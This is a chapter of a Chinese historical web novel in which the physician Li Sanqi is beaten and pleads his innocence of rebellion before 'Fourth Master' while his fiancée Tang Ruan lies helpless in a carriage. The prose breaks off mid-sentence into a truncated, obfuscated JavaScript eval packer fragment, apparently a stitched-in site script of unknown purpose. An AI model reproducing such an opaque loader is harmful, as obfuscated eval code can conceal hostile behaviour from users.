30. 第 30 章(1 / 2)

天色由浓转淡,火把的光芒渐渐微弱,晨曦透过层层叠叠的树叶在地上投出斑驳的光影,忽明忽暗,看得人眼花缭乱。

没了车帘的马车在晨光中摇晃,山间的清风吹进车内,带来有些湿润的草木气息。

本该让人心神宁静的气味却未能给唐阮带来安宁,她努力的睁开双眼,眼前却一片漆黑。

车外传来甲胃摩擦的声音,间或有金属相撞的声音,那些声音近在耳侧,更像是悬在头顶达摩斯之剑。

唐阮努力抬起手臂,想要说清自己的身份,想要告诉别人她不是逆党,却如同鬼压床一样,连指尖也动不了。

马车渐渐地停下来,她听见一个尖利的声音问道,“你可知民告官需得先打上二十大板?”

“草民知晓”。

干净清透的声音传来,唐阮无需辨认,轻易的认出那是李三七的声音。

她还听见棍棒重重敲在皮肉上的声音,还有偶尔的闷哼声。

不用看史书,不用看话本,大牢里屈打成招的人不知凡几。

靠在车壁上的人全身都在颤抖,放在身侧的手猛然蜷缩起来,白皙的手背用力到绷出三道筋络。

难道不仅唐家救不回来,连李家也要在顷刻间覆灭吗?

唐阮努力的想要张开嘴,耳边却只听见了牙齿相撞的声音,那层黑暗依旧牢牢覆盖在眼眸之前,片刻不曾掀开。

车外的李三七同样咬着牙,将指尖插进山泥,他抬起头看着坐在上首之人。

那是一张读书人的面孔,容长的脸,细长的眼睛,满身的贵气,此刻正有些不耐的垂下眼眸,仿佛不想看到眼前这场闹剧。

权利,权利·······

说不出后悔涌上李三七的心尖,若是没有学医,而是读经诵典,是不是就能护住李家和唐家,是不是不会遭此侮辱。

杀威棒棍棍敲在皮肉之上,原本山中清新的草木香气不见,只有淡淡的血腥味散开,让人几欲作呕。

侍卫们收了棍棒,只留下李三七瘫在地上,如同烂泥一般。

他快速的喘了两口气,而后咬紧牙关,努力支撑起破败的身体,“草民李三七,嘉兴府海宁县小东保七甲李家,祖祖辈辈行医开铺”。

李三七强撑着跪直身躯,可身上的素衫却在晨风中微微颤抖,“如今天下太平,百姓安居乐业,草民从不曾听闻海宁城中有谋逆之事,却被有心之人按下重罪,还往大人明察”。

干净清冽的声音在称颂朝廷的恩德,在赞扬这大清的主人将这片土地照顾的很好。

四爷不由得低头望去一眼,只见跪着的人浑身冷汗,面容煞白,却腰背挺直,如同青竹一般。

不仅聪明,还是个硬气的。

他起了三分兴致,瞥过躺在一旁如同死狗一般的田三,而后将视线落在倔强着不肯倒下的人身上,“这是你做的?”

李三七没有抬头,只盯着眼前被血沾湿的泥土,“这位官大人言语间实在龌龊至极,草民为求自保,不得不出此下策”。

他一面说着,一面艰难的挪动身躯,将田三身上银针取下,“草民不敢对官家出手,这位兵大人只是血气凝滞带来的疼痛,片刻间便能恢复”。

众人都随着他的视线望去,只见刚才脸色还如同鬼一般的人物,此刻逐渐恢复了红润,甚至还能起身大骂,“放你娘的屁!你要是没有犯事,为何不叫人查验马车?我看你就是做贼心虚!”

李三七并不理会此人,只沉声道,“大人,车内乃是草民未过门的妻子,为君者兼顾天下,为官者爱护百姓,为夫者护住妻小,草民只是做了自己该做的事”。

他恭敬的磕了一个头,“大人若是派人查验,草民必不会阻拦”。

四爷意味深长的挑眉,这个小大夫不仅聪明硬气,还知道用言语将人高高架起。

只是太过年轻,显得有些稚嫩罢了。

田三不懂贵人眼神的含义,却下意识觉得有些不妙,“大人千万别被那厮给哄骗了。”

他指着马车,“他谋逆的证据都在车中,大人只要前去一看便知晓小人所言非虚”。

天下的乌鸦一般黑,只要这位大人看过一眼,定会留下那个美貌姑娘,到时候这个小大夫,不是谋逆也是谋逆了。

四爷沉沉的看着眼前这场闹剧,无论是刚才还是现在,

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if